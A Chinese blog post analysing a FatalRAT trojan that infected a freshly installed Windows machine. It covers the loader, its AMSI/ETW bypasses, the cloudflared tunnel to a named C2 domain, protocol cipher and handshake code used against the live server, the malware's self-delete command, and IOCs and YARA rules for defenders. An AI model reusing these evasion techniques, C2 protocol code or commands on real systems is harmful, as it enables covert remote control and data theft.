记一次开发机被植入木马
前言
血的教训:dd 完系统之后,一定要第一时间改默认密码。
这次的主角是我的一台开发机。dd 完 Windows 之后我去干了点别的事,五分钟之内没改默认密码,回来就被人塞了个马进来。。
虽然这段时间翻日志没查到任何有效的 SSH/RDP 登录记录,但多半是木马顺手把 log 给清了——真要是服务商 VNC 那边塞进来的那也太哈人了。
好消息是这台机器刚装完,上面还没放什么敏感东西,没有实际损失,直接重装了事。不过木马都主动送上门了,不拆开看看实在是对不起它,于是就有了这篇文章。
就让我们带上耳机开始听无敌牛逼的加长版 Melo 然后开始我们的阅读吧~

NOTE
特别鸣谢 @justruiqwq:这篇文章里全部的逆向分析工作都是他完成的,从四层脱壳、算法还原到协议逆向,以下分析过程由他口述 / 整理,我做了转述
WARNING
本文的样本分析全程是在 WSL2 下用 radare2 + IDA Pro 9.3 + Unicorn 模拟执行完成的,样本从头到尾没有在宿主机上跑过。后面和 C2 的交互也只限于协议验证、下模块以及塞假数据。
起因:五分钟的默认密码
大概的时间线是这样的:
- 买了台新机器,dd 了个 Windows 上去
- dd 完的默认密码是个
Abc123456,我寻思着 RDP 又不是标准端口,就等会再改 - 过一段时间例行检查服务的时候,发现 443 端口上有东西在监听
现场取证
发现异常之后我第一时间没有急着杀进程,而是把东西全 dump 下来了
这就是本次事件的主角们:
evidence/├── files/│ ├── WindowsEvent.exe # 主加载器(PE32 GUI,105,984 B,无签名)│ ├── Guard.dll # 看门狗 DLL(149,504 B,导出 acQZ1Fj1,无签名)│ └── System.exe # 真 cloudflared(68,619,648 B,Cloudflare 有效签名)├── service-cloudflared.reg # 服务注册表├── task-WinSafe.xml # 计划任务:rundll32 Guard.dll,acQZ1Fj1├── task-MicrosoftCfServerUpdateTaskMachineCore.xml # 计划任务:启动 WindowsEvent.exe└── connections.txt # 127.0.0.1:52264 (Established) ← PID 3396 (cloudflared)伪装的路径也起得挺像那么回事:WindowsEvent.exe 和 Guard.dll 蹲在 C:\ProgramData\CfServerSoftwareDistribution\ 下面,System.exe 丢在 C:\ProgramData\Microsoft\System\,三个文件编译时间戳都是 2025-07-05 15:53–15:54 UTC
翻了翻拿出来东西,整个病毒一共被分尸到了三处:
- 计划任务
\MicrosoftCfServerUpdateTaskMachineCore:设了LogonTrigger加HighestAvailable,一登录就拉起WindowsEvent.exe - 计划任务
\WinSafe:这个任务故意没设任何触发器,专门留着给WindowsEvent.exe跑起来之后用schtasks /run /tn WinSafe手动唤醒看门狗Guard.dll - WMI 事件订阅:还翻出来一个叫
SCM Event Log Filter的过滤规则(select * from MSFT_SCMEventLogEvent),用来看服务控制管理器的动静
最阴的地方:拿 Cloudflare 隧道当掩护
service-cloudflared.reg 里的 ImagePath 是 UTF-16 的 hex 编码,解出来长这样:
"C:\ProgramData\Microsoft\System\System.exe" access tcp --url tcp://127.0.0.1:443 --hostname www.libreriagolden.com说白了攻击者直接把 真的 cloudflared 改了个名叫 System.exe,注册成 LocalSystem 开机自启服务,服务描述还像模像样地填了个 Cloudflare Modernization Service,然后用 access tcp 监听本机 127.0.0.1:443
这招确实有点恶心:RAT 本体只连 127.0.0.1:443,配置里不用写死真实服务端地址。机器往外发的流量就只有 cloudflared 连 Cloudflare 边缘的正常 WebSocket,外人看着跟普通服务连 CF 没两样
想溯源就得把样本本体逆出来才知道 C2 是谁,于是我把打包好的样本丢给了 @justruiqwq,后面所有的逆向工作都是他做的。
类似遭遇
写文章的时候我顺手搜了一圈,发现这套打法不是我一个人遇到的,已经有好几家披露过几乎一样的东西:
- 火绒安全 2026-05-25 的 隧道藏暗控——Cloudflare 合法工具被黑产用于远程控制:伪装成 WPS 安装包投递,同样的
System.exe+access tcp --url tcp://127.0.0.1:443,同样的CfServerSoftwareDistribution目录、WindowsEvent.exe/Guard.dll,连计划任务名都一样,C2 域名是www.qccf2.cyou - CN-SEC 的 银狐团伙2026年开年最新黑科技深度拆解:伪装成 Chrome 安装包,C2 域名是
www.tamei.cyou,他们把它归到了银狐 / Winos - Dr.Web 的 Trojan.Siggen32.28584 条目:同样的两个计划任务,C2 域名是
www.wbaosc.com - 微步在线的
WindowsEvent.exe分析报告:这个是我自己传上去的,结果发现这个文件的首次提交日期早在今年 7 月 13 日,也就是说这个样本在我中招之前五个多月就在外面跑了
火绒那篇里 .sc1/.sc2/.tc3/.tc4 四个节的拼接,以及 ((byte + 0x77) & 0xFF) ^ 0x62 的解码公式,跟我这个样本是同一套,Global\TaskMonitor_Mutex、Global\WindowsEvent_WindowsEvent 这些互斥体名也一样。所以这应该是一套现成的投递工具,换个域名、换个入口就能用。别人大多是靠假安装包进来的,我这台是靠弱密码进来的,入口不一样,后面是同一套东西。
拿 cloudflared 当 C2 隧道这个思路也不新鲜,GuidePoint 2023 年就写过 Tunnel Vision: Cloudflared Abused in the Wild,说他们的 DFIR 团队在多起应急里碰到攻击者用 Cloudflare Tunnel 做持久化访问,只要一条带 token 的命令就能在受害机上拉起隧道。
至于家族名,火绒没下结论,CN-SEC 叫 Winos,我们这边只能从 RTTI 里的 CKernalManager 确认是 Gh0st 血统,下面还是叫它 FatalRAT。FatalRAT 这个名字最早出自 AT&T Alien Labs 2021 年的分析,不过那篇里的样本靠反虚拟机检测和注册表 Run 键持久化,跟我这个行为差别挺大,家族关系我不敢打包票。
四层脱壳与样本逆向,感谢 @justruiqwq
这部分比较硬核,纯技术向,不感兴趣的可以直接跳过看后面木马都有啥功能。
整个加载链一共套了四层,从 WindowsEvent.exe 启动到最终的木马 DLL 进内存,全程无文件落地。
Stage 1:WindowsEvent.exe 极简引导器
一打开 WindowsEvent.exe 就觉得不对劲:整个 .text 段只有 0x1000 字节,导入表里就挂着 GetTempPathA、GetCurrentDirectoryA、RegOpenKeyA、RegQueryValueExA、RegCloseKey 这五个看起来人畜无害的函数——纯纯的诱饵,真干活的 API 全藏着不写进导入表。
它自己是靠遍历 PEB->Ldr->InMemoryOrderModuleList 枚举模块,再用一个魔改版 DJB2 哈希去匹配导出函数:
uint32_t api_hash(char *s) { uint32_t h = 5381; for (; *s; s++) h = ROL32((33 * h) ^ tolower(*s), 7); return h;}用这个哈希匹配到 0x28216FE5 就是 kernel32.dll,然后再把 CreateFileA、VirtualAlloc、CreateProcessA、CopyFileA、GetModuleFileNameA 等函数全解出来。另外里面用到的字符串也做了一层 [len][密文] 的混淆,用 .text 末尾 0x4012EF 处的一组 16 字节密钥按 ROR8 + XOR 0xF2 解密。
反编译进去看启动流程,干的事情倒不复杂:先调 CreateEventA 创建 Global\WindowsEvent_WindowsEvent 做单实例互斥(错误码 183 就说明已经在跑了,直接退出);接着检查自己当前的文件名里包不包含 "indo"(也就是 WindowsEvent),改了名字丢沙箱跑的话直接自杀;确认无误后隐藏窗口跑一遍 schtasks /run /tn WinSafe 把 Guard.dll 拉起来,最后再拼出下一阶段的 shellcode 开新线程执行。
Stage 2:四段拼接 + 双架构 Shellcode
我一开始看错了以为是 .text 直接异或解密,实际上主加载器会把 PE 里的四个自定义节 .sc1、.sc2、.tc3、.tc4(每段 0x6200 字节)按顺序拼成 99,075 字节(0x18303),再按 (buf[i] + 119) ^ 0x62 逐字节解密。
解出来的还是一段 x86/x64 双架构位置无关 shellcode,开头用了一个挺经典的指令兼容 trick:
00000000: E8 AF200100 call 0x120B4 ; call-over-data 拿数据基址...000120B4: 59 pop ecx ; ecx = payload+5000120B5: 31C0 xor eax, eax000120B7: 48 dec eax ; 32位下 eax=-1, SF=1 -> js 跳走000120B8: 0F88 .... js x86_entry ; 32位走 0x15573000120BE: 55 push ebp ; 64位下 48 被当成 REX.W 前缀,SF=0 直接进 x64 代码因为 WindowsEvent.exe 本身是 PE32,跑在 WOW64 里,实际走的是 32 位分支 0x15573 → worker 0x1684D。
Stage 3:自定义 ARX 配置解密与防御规避
Worker 跑起来之后会先 VirtualAlloc 一块 0x120AF 字节的内存把整个配置结构体拷进去。前面 0x23C 字节是明文头,存着密钥、计数器、64 位 API 哈希初值和 63 个哈希表;从 +0x23C 往后是密文区。
加密不是标准算法,而是一个自定义的 16 轮 4×32bit ARX 分组密码(移位量 5/8/16 和 7/13/16):
void round16(uint32_t w[4]) { for (int r = 0; r < 16; r++) { w0 = (w0 + w1); w2 = (w2 + w3); w1 = ROL(w1, 5) ^ w0; w3 = ROL(w3, 8) ^ w2; w0 = ROL(w0, 16); w2 = (w2 + w1); w0 = (w0 + w3); w1 = ROL(w1, 7); w3 = ROL(w3, 13); w1 ^= w2; w3 ^= w0; w2 = ROL(w2, 16); }}每 16 字节算一次 Mix(key1 ^ counter) ^ key1 当密钥流异或,计数器还是从 byte[15] 往 byte[0] 反向进位的。后面还带了一道校验和,密钥写死为 3X7NFC79。解密完就能看到明文的依赖 DLL 列表:ole32;oleaut32;wininet;mscoree;shell32。
逆向过程中这里直接上了 Unicorn,把解密函数那段机器码丢进去跑
配置解密完之后,在正式映射木马之前它先干了两件事:先是用 VirtualProtect 改写内存权限,往下面这 7 个系统函数开头直接塞了 12 字节的内联补丁,把 AMSI、ETW、WLDP 全给废掉:
WldpQueryDynamicCodeTrust WldpIsClassInApprovedListAmsiInitialize AmsiScanBuffer AmsiScanStringEtwEventWrite EtwEventUnregister然后再去挨个解析那 63 个 64 位 API 哈希(第 63 项是个 0 终止符)。
API 哈希:一个卡了很久的坑
这壳不光自己用了个 27 轮 ARX 的类 MD5 压缩构造来做 64 位哈希,解析规则还是:
target = hash64(export_name, init) ^ hash64(module_name_lowercase, init)init 是配置头 +0x28/+0x2C 里的随机初值(每次构建都不一样)。我一开始理所当然以为这堆函数全在 kernel32.dll 里,拿导出表一顿碰撞结果一个都对不上,静态啃了半天才反应过来:它 XOR 的是每个函数自己所属的模块名,而且模块名还要先转小写。
拿真实导出表直接爆破了一遍,62 个有效哈希全对上了。除了常规的 kernel32 和 ntdll,它还拉了一整套 wininet(HTTP 栈)、ole32/oleaut32(COM/SafeArray),甚至带了 mscoree(CorBindToRuntime/CLRCreateInstance,可以直接在内存里挂 .NET 程序集),6767 这波贪了
Stage 4:XPRESS 解压与内嵌 PE Loader
配置末尾 +0xD60 位置是一个 0x530 字节的模块描述符,type=4、压缩参数 (4-1)|0x100 = 0x103,也就是走 ntdll!RtlDecompressBuffer(COMPRESSION_FORMAT_XPRESS | ENGINE_MAXIMUM),把 0x108EF 字节解压成 0x1B000(110,592 字节)的完整 PE32 DLL 镜像。
顺带提一嘴,这里有个很有意思的冷知识:Windows ntdll 的 XPRESS 实现跟微软公开文档写的不一样,文档写的是 LSB 先行读取标志位,但真实代码是从高位向低位消耗标志位的(用了一个 lea eax, [ecx*2+1] 的移位技巧),还有 1/2/4 字节的字面量批量拷贝优化。进行分析的时候干脆也用 Unicorn 直接跑了合法的 ntdll!RtlDecompressBuffer 静态模拟
解出来的 PE 由 shellcode 自带的加载器(0x16F7D)完成节映射、导入表修复和重定位,最后调起 DllMain。映射镜像的时候它故意不用 VirtualAlloc(RWX),而是走 NtCreateSection + NtMapViewOfSection,专治各种盯 RWX 内存分配的告警。
解出的 PE 里带着清晰的 RTTI 信息:
.?AVCKernalManager@@ ← "Kernal" 拼写错误,Gh0st 家族祖传特征.?AVCManager@@.?AVCTcpSocket@@ .?AVCUdpSocket@@ .?AVISocketBase@@ .?AVCBuffer@@.?AV?$CArqSessionT@VCUdpSocket@@V1@@@再结合 .data 段里用倒序宽字符串藏着的 C2 配置,就是前面说的 Gh0st 血统实锤了:
p1: 127.0.0.1 o1: 443 t1: 1 ← 主 C2(走本机 cloudflared 隧道)p2: www.jianfei888.com o2: 80 t2: 1 ← 备用 C2p3: www.b-m8.com o3: 8080 t3: 1 ← 备用 C2fz: 默认 bb: 1.0 bz: 2026. 3. 8dd: 1 cl: 1 jp: 0 bh: 0 fc: 0 dl: 0 sh: 0 kl: 0翻静态字符串的时候还顺带看到一堆杂项:安装时间标记注册表 HKCU\SOFTWARE\IpDate(键值 QuickIpDates_info)、登录配置标记 peizhidenglu(“配置登录” 拼音),还有一套假装成崩溃转储的 DbgHelp.dll / !analyze -v 伪装串。
看门狗 Guard.dll
顺手把另一个落盘文件 Guard.dll 也反编译看了一眼。随机导出名 acQZ1Fj1,内部名 ba5dfb0e.dll,带了个自定义节 .fptable,里面静态链接了一大坨 MSVC/CRT 库函数(681 个函数里几乎全都是库代码)。
真正干活的部分简单得要命:先建一个 Global\TaskMonitor_Mutex 保证自己单实例,然后死循环去 OpenEvent 摸主进程的 Global\WindowsEvent_WindowsEvent。只要 GetLastError() == 183 就说明主 RAT 还活着;一旦哪天没摸到,立刻拼接命令 schtasks /run /tn "MicrosoftCfServerUpdateTaskMachineCore" 把主程序重新拉起来,接着 Sleep(1000/3000) 继续盯。它自己的运行日志写在 C:\Windows\Temp\Rilog(路径在代码里故意拆成好几段字符串拼起来,用来躲静态扫描)。
协议与加密
协议栈
整个通信协议从下往上大概套了这么四层:
[第4层 应用层] 命令分发 / 模块推送 / 文件传输 ↑[第3层 可靠传输] 自定义 ARQ (24字节头, 滑动窗口 + RTT 自适应) ↑[第2层 帧封装] [u32 总长][10B 会话标记][XOR 加密载荷] ↑[第1层 传输层] RAT -> 127.0.0.1:443 (明文!) -> cloudflared -> CF 边缘 -> C2第 3 层的 ARQ 是它自己在 UDP/会话层上套的可靠传输,反汇编里还能看到一套完整的调试日志串:input probe、input psh: sn=%lu ts=%lu、input ack: sn=%lu rtt=%ld rto=%ld、input wins: %lu、recv sn=%lu。
有意思的是,RAT 到 cloudflared 这一段走的是明文 TCP,TLS 只在 cloudflared 到 Cloudflare 边缘那一跳才有。也就是说真在事发当时本机回环口抓个包,协议明文直接全出来了。
会话标记:不是密钥,是身份证
一开始我以为帧头里那 10 字节是个预共享密钥,逆了 CTcpSocket::Connect 才发现它每次建连都是现场拼的:
0-3字节:timeGetTime(),系统毫秒计数4-7字节:CRITICAL_SECTION.DebugInfo,堆地址8-9字节:写死0x00CA
客户端自己挑一个 10 字节标记,每一帧都带着,服务端原样给回去,客户端核对一致才认。顺手它还拿这 10 字节当 XOR 密钥去加密后面的载荷——等于说密钥就明文贴在同一帧的脑袋上,保密性堪比滚木
加密算法与 off-by-one
加密函数的汇编逻辑还原出来就这么几行:
for (i = 0, k = 0; i < len; i++) { data[i] ^= (key[k] % 456 + 0x36) & 0xFF; k++; if (i % 10 == 0) k = 0; // i=0 的时候也会触发一次!}用 Python 写出来是这样:
def fatalrat_cipher(data: bytes, key: bytes) -> bytes: out = bytearray() for i, b in enumerate(data): k = key[0] if i <= 1 else key[(i - 1) % 10] out.append(b ^ ((k + 0x36) & 0xFF)) return bytes(out)注意这个 key[0] if i <= 1:实际的密钥流是 key[0], key[0], key[1], ..., key[9], key[0], ...,key[0] 连续用了两次,因为重置条件 i % 10 == 0 在 i=0 跑完第一次之后也顺手把 k 归零了。
验证用的 Unicorn 代码骨架:
mu = Uc(UC_ARCH_X86, UC_MODE_32)BASE = 0x400000mu.mem_map(BASE, 0x22000)for va, ra, rs in SECTIONS: # 节表 raw -> RVA 正确映射 mu.mem_write(BASE + va, img[ra:ra + rs])
CIPHER = BASE + 0x1060# hook 掉 CBuffer::Grow 和 memcpy,压参数,直接跑原函数mu.emu_start(CIPHER, RET)
for payload, key in TESTS: assert run_unicorn(payload, key) == fatalrat_cipher(payload, key)# 8/8 全过和 C2 的第一次对话
算法对齐之后,就可以直接构造握手帧去跟 C2 打个招呼了:
def frame(tag, payload): return struct.pack('<I', 14 + len(payload)) + tag + fatalrat_cipher(payload, tag)
tag = struct.pack('<I', 0xD34FC9C4) + struct.pack('<I', 0x00F1A2B0) + b'\xca\x00's.sendall(frame(tag, struct.pack('<H', 4))) # 版本问候resp = s.recv(4096)收发报文长这样:
我 -> [16][tag][enc(0x0004)]C2 -> [115][tag 回显][0x04 | UTF16("1f81228165b028bb8c249f4f3637b3bd")]C2 完完整整把我自选的会话标记回显了回来,还带了一串 32 位 hex(它当前下发模块的版本 ID)。
顺带一提,拿这个特点还能顺便测 Cloudflare 隧道死活:在线的隧道握手会返回 WebSocket 101 Switching Protocols,已经被吊销或停掉的会直接回 404 / Error 1033。
伪装肉鸡上线
既然协议已经全通了,那干脆再往前走一步:自己造一台肉鸡上线看看对面到底想干嘛。
登录包是一个 0x17CC 字节的缓冲区,总共发 6092 字节,命令号 6
+0: cmd=6+2: 本机 IP 列表 + 外网 IP+1532: 空闲时间 "%d min"+1562: 主机名+1662: 系统 ("Windows 11 Pro") + 版本号+1822: CPU 数 + CPU 型号+2342: 磁盘/内存 " 465 Gb Free 89 Gb Mem: 16 Gb "+2642: 前台窗口标题+3152: GROUP (HKCU\SOFTWARE\QuickNetwork)+4710: IM 列表(进程枚举 "Discord, TG" 拼接)+5894: 机器 ID = MD5(主机名+版本+IP+CPU数+架构+HW GUID)+5992: 用户名我随手编了一台滚木机器:主机名 DESKTOP-7F3K2Q9,用户名 xiaoming,IM 列表写了个 FeiShu, TG,机器 ID 按它原本的算法现场算了一个 MD5 填进去。发出去之后:
我 -> [6][6092B]C2 -> [0xCA] # 登录 ACK0xCA 跟会话标记末尾那个常量 0x00CA 正好同源。到这一步,不出意外的话攻击者的控制面板里已经多了一台叫 DESKTOP-7F3K2Q9 的肉鸡(
木马都有什么能力
FatalRAT 的初始 DLL 本体其实不大,真正的功能全靠 C2 按需往下推模块。
靠模块请求出完整武器库
协议里的 [05]["模块名.dll_bin"](固定 0xA45 字节)是向服务端拉取功能模块的指令:不存在的名字服务器直接静默,对上的名字直接把整个 DLL 模块推过来。因为这马的模块名全是用中文功能菜单直译出来的,我凑了 71 个常见名字挨个问了一遍,对面就把自己全套武器库吐出来了:
- 登录模块(215KB):管会话、扫 IM 进程,外带五套保活机制
- 高速屏幕(395KB):远程桌面,能控键鼠、双向同步剪贴板、还能用
BlockInput锁死你输入 - 键盘记录(211KB):用 DirectInput8 抓按键,顺带盯死剪贴板
- 语音监听(199KB):
waveIn录麦克风、远程喊话、调混音器 - 文件管理(250KB):常规文件操作、隐藏桌面偷偷跑程序、大文件分块上传
而且下发还可以靠行为触发:我往面板传了一张纯噪声生成的假 JPEG 截图,服务器立刻连发两帧指令让我加载 ”高速屏幕” 模块,轻松绷住
登录模块:五重生存机制
这模块为了赖在机器上不走,一口气叠了五个保活手段:
- svchost 迁移:挂起创建
SysWOW64\svchost.exe,VirtualAllocEx写 1KB shellcode,起个挂起态的远程线程,先Sleep60 秒再Resume - 进程看门狗:注入的 shellcode 会死等原进程句柄,主 RAT 一旦被杀就调
WinExec重新拉起来 - 崩溃重启:挂了个
SetUnhandledExceptionFilter,万一自己崩了就拿原命令行重启 - critical 进程:调
NtSetInformationProcess(29)把自己标成系统关键进程,你在任务管理器里强杀它直接给你蓝屏 - 卸载自删除:收到卸载指令时跑
cmd /c ping 127.0.0.1 -n 3 >nul && rmdir /s /q "..."毁尸灭迹
另外它还会枚举机器上装了哪些通讯软件(飞书、QQ 管家、Discord、TG 之类的)直接报给面板,多半是方便操作者挑肥肉下手。
高速屏幕:远程桌面
- 帧率可调,最高能拉到 1000FPS(命令 7,
1000/参数) - JPEG 质量分 60/85/100 三档
BlockInput锁死受害者键鼠(命令 8),外加键鼠事件回放(命令 12)- 剪贴板双向:窃取(11)和直接往里写内容(13)
剪贴板注入这招挺阴的,玩加密货币的小伙伴们有福了
键盘记录
- 用 DirectInput8 轮询键盘输入,不注 DLL,也不用
SetWindowsHookEx,比传统键盘钩子安静得多 - 本地日志路径伪装成
%LOCALAPPDATA%\DisplaySessionContainers.log,超过 50MB 自动删掉 - 剪贴板旁路:
GetClipboardData(CF_TEXT)跟本地缓存比对去重之后立刻上传。你复制啥,对面几乎实时就能看到啥
语音监听
waveIn 采集麦克风、远程喊话、混音器控制。不光能偷听你说话,对面想恶作剧还能直接通过你的音响对你喊话。
文件管理
常规的文件增删改查之外,还有个很骚的操作:CreateDesktopW + SetThreadDesktop + CreateProcessW,在隐藏桌面里另起进程,受害者当前屏幕上什么窗口都看不见。大文件走分块上传([36][offset][data])。
其他命令与存储位置
登录模块: 0=请求模块 1=存模块到注册表 4=系统信息 7=GROUP/REMARK 9=心跳 10=数据上传 11=清事件日志 13=卸载(critical+自删)下发下来的功能模块本身会存进注册表 HKCU\Console\0\<32位hex名>(REG_BINARY)。
顺带的彩蛋
模块里面翻出来一个签名字符串 master-wcnmlgb,模块名全都是中文,控制端界面也是 UTF-16 中文。再看看它点名枚举的飞书、QQ 管家,操作者是谁基本不用猜了。。。
基础设施溯源
顺着域名和配置往下扒,又摸出来不少有意思的东西:
- 证书透明度 (crt.sh):翻出来
mysql./accounts./m./sitemap.几个子域,说明这上面以前搭过 PHP+MySQL 的 Web 面板,后来撤了 - WHOIS:
2025-08-18在 Gname 注册的,NS 挂在 Cloudflare - Wayback Machine:查了下历史快照,
libreriagolden.com原来居然是危地马拉的一家文具网店(2025 年 2 月还有存档),过期掉下来之后被黑产抢注了 - 备用 C2:另外两个备用域名
jianfei888.com(原中国减肥资讯站)和b-m8.com(2001 年的老站)也是清一色抢注的过期老米 - 模块配置漏底:下发的配置里直接硬编码了内网地址
192.168.1.200:6669/9999,老哥自己把局域网 IP 漏在里面了
抢注掉下来的老域名无非是为了借域龄躲一下安全网关的信誉拦截。现在这个域名挂在 HTTP 上所有路径都回空 200(因为真正的控制端只认 FatalRAT 的二进制帧,HTTP 请求过去全是乱码),控制端大概率就跑在攻击者内网 192.168.1.200 的某台机器上,靠同网段的 cloudflared 把端口桥到 Cloudflare 上
反向调戏一下
既然假肉鸡已经挂在线上了,我顺手发了点小东西过去
- 畸形帧、未知命令、瞎编的模块名、乱填的 seq,统统静默吞掉,0 崩溃 0 断连
- 唯一给反应的只有重复握手(幂等,每次都老老实实重发一次挑战)
- 数据上传通道(剪贴板、屏幕流、文件块)全是单向往里灌,发啥收啥,根本不做校验
于是我顺手往对面的面板里塞了点 ”礼物”:纯噪点生成的假桌面截图、乱码剪贴板、1MB 随机数据,外加一个叫 密码本.txt 的乱码文件(
也算是收了人家一份大礼之后礼貌回敬一下吧。
举报:一路踩坑
取证和特征整理完之后我就去提交 Abuse 举报了,结果一路也是状况百出。
Cloudflare 的扫描器盲区
Cloudflare 第一轮模板回复:We could not detect any abusive or malicious content。倒也不意外,CF 那套自动扫描器只会发普通 HTTP 请求过去看一眼,拿个空 200 回去就当无事发生,根本扫不到 WebSocket 二进制流里藏的东西。
于是第二轮补证把扫描器盲区原因、WebSocket 101 复现步骤(拿死隧道返回 1033 做对照)、FatalRAT 握手报文、各个模块和加载器的 SHA256 全贴了上去,工单这才转进人工复核。
Gname
注册商这边只开放了网页工单(邮件通道只对 ICANN RAA 3.18.3 实体开),填完提交完事:
案件号 GW2026111318371997状态 Under Review承诺 3 个工作日IOC 与排查思路
文件与内存层哈希
evidence.zip SHA256 ac170da7c6030ff5a95979b73a2833474a3674f2d18c2ddd599729b3c26791d5WindowsEvent.exe SHA256 3769a3d2efa7505104d70016033e1c626f4b4e13516cc95742b4d6f2b9cf0eeb (PE32, 无签名)Guard.dll SHA256 c0e98defcdc4b30069e074ec0221425ad2ffbe59d840dd657125f180a8a7905b (导出 acQZ1Fj1)System.exe SHA256 413f9b24dc6e61a455564651524f167b8ce29ac4ccd40703dea7af93cd37ed39 (正版 cloudflared)Layer 2 shellcode SHA256 9bbec4b36a8ee9b2f87a1eb89de2e087454056eb8337e634748fbbb07700b033Layer 3 解密配置 SHA256 0f66d3bee9a2277f3b71dbf96bbbe4ddaff8e920605df361901938880b4cc451Layer 4 FatalRAT SHA256 1cca9e9dba1fb6a3de0ad73ae13c812031bcd584f1d95778929dcfb1fb2c636c (内存镜像)Layer 4 (文件布局) SHA256 f07efebb4e44be456fe545cd6ecef33c151d1a3c45cede65ef25c79882e673be登录模块 SHA256 02cddbb2e20bae84bc3d476b05b39805775a38559a558290e445e4038a786d77高速屏幕 SHA256 f8ae13835f73429cf79cdb4191d4e4b980469809a7e371aaf85311b414fe0069键盘记录 SHA256 73a207fb0223528c6c15790e16b406501e653f77f85d40d55a83986a8d8d7ed8主机与网络 IOC
C2 域名 www.libreriagolden.com (Gname, 2025-08-18)历史面板 mysql. / accounts. / m. / sitemap.libreriagolden.com隧道 UUID 19d78dea-83c6-4873-b84e-4756beef2fea内网 C2 192.168.1.200:6669 / :9999备用 C2 www.jianfei888.com:80, www.b-m8.com:8080落地目录 C:\ProgramData\CfServerSoftwareDistribution\ C:\ProgramData\Microsoft\System\System.exe看门狗日志 C:\Windows\Temp\Rilog键盘日志 %LOCALAPPDATA%\DisplaySessionContainers.log计划任务 \MicrosoftCfServerUpdateTaskMachineCore, \WinSafeWMI 过滤 SCM Event Log Filter (select * from MSFT_SCMEventLogEvent)事件/互斥 Global\WindowsEvent_WindowsEvent, Global\TaskMonitor_Mutex注册表 HKCU\Console\0\<32位hex名> (REG_BINARY) HKCU\SOFTWARE\QuickNetwork HKCU\SOFTWARE\IpDate (QuickIpDates_info)特征串 master-wcnmlgb / peizhidenglu / 3X7NFC79怎么排查这类东西
要是怀疑自己机器也中了同款,直接查这几个地方就行:
- 查 443 端口:明明没跑 Web 服务,
127.0.0.1:443却在监听,顺着 PID 摸过去是个叫System.exe的东西带着cloudflared access tcp参数在跑,那不用想了,正经人谁这么配服务。 - 翻计划任务和 WMI:找找有没有假装成微软更新的任务(比如
Microsoft*UpdateTaskMachineCore),或者没设任何触发器的rundll32怪任务;WMI 订阅里顺手看一眼有没有SCM Event Log Filter。 - 看进程和临时文件:用户会话下面要是挂着没跟服务关联的 32 位
SysWOW64\svchost.exe,或者磁盘里莫名其妙多了C:\Windows\Temp\Rilog、%LOCALAPPDATA%\DisplaySessionContainers.log,基本就是中招了。 - 翻注册表:
HKCU\Console\0下面正常都是些控制台配置的DWORD,要是里头蹲着几个 32 位 hex 名字的REG_BINARY,十有八九就是它塞进去的模块;再顺手搜一下QuickNetwork和IpDate。 - 发包验活:想直接验对面的 C2 也很简单,WebSocket 连上去发个
[16][10B tag][enc(0x0004)],要是给回[115][tag 回显][0x04|UTF16(MD5)],那就彻底实锤了。
顺手贴两个精简过的 YARA 规则
rule FatalRAT_Loader_WindowsEvent { meta: family = "FatalRAT" description = "WindowsEvent.exe 四段加载器" strings: $reg = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer" ascii $sc1 = { 2e 73 63 31 } $sc2 = { 2e 73 63 32 } $tc3 = { 2e 74 63 33 } condition: uint16(0) == 0x5A4D and all of them}
rule FatalRAT_Core_Config { meta: description = "FatalRAT 倒序配置串与 ARQ 特征(内存/还原样本)" strings: $cfg = "|0:lk|0:hs|0:ld|0:cf|0:hb|0:pj|" wide ascii $arq = "input psh: sn=%lu ts=%lu" ascii $klm = ".?AVCKernalManager@@" ascii condition: 2 of them}总结
折腾完这一大圈下来,最大的感受还是那句:dd 完系统第一件事必须改密码。千万别心存侥幸觉得 “等会再改” 不会出事
好在这台机器本来就没放什么正经数据,直接重装了事,没有实际损失。最后再提醒一遍:
dd 完,先改密码!!!
Lets Gooooooo(
参考
- 隧道藏暗控——Cloudflare 合法工具被黑产用于远程控制 - 火绒安全,2026-05-25
- 全网首发!银狐团伙2026年开年最新黑科技深度拆解 - CN-SEC
- Trojan.Siggen32.28584 - Dr.Web Malware description library
- Tunnel Vision: Cloudflared Abused in the Wild - GuidePoint Security,2023-08-03
- WindowsEvent.exe 样本报告 - 微步在线
- New sophisticated RAT in town: FatalRat analysis - AT&T Alien Labs / LevelBlue,2021-08-02
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!
记一次开发机被植入木马
https://blog.icybit.cn/posts/46- 作者
- IcyMichiko
- 发布于
- 2026-11-14
- 许可协议
- CC BY-NC-SA 4.0
评论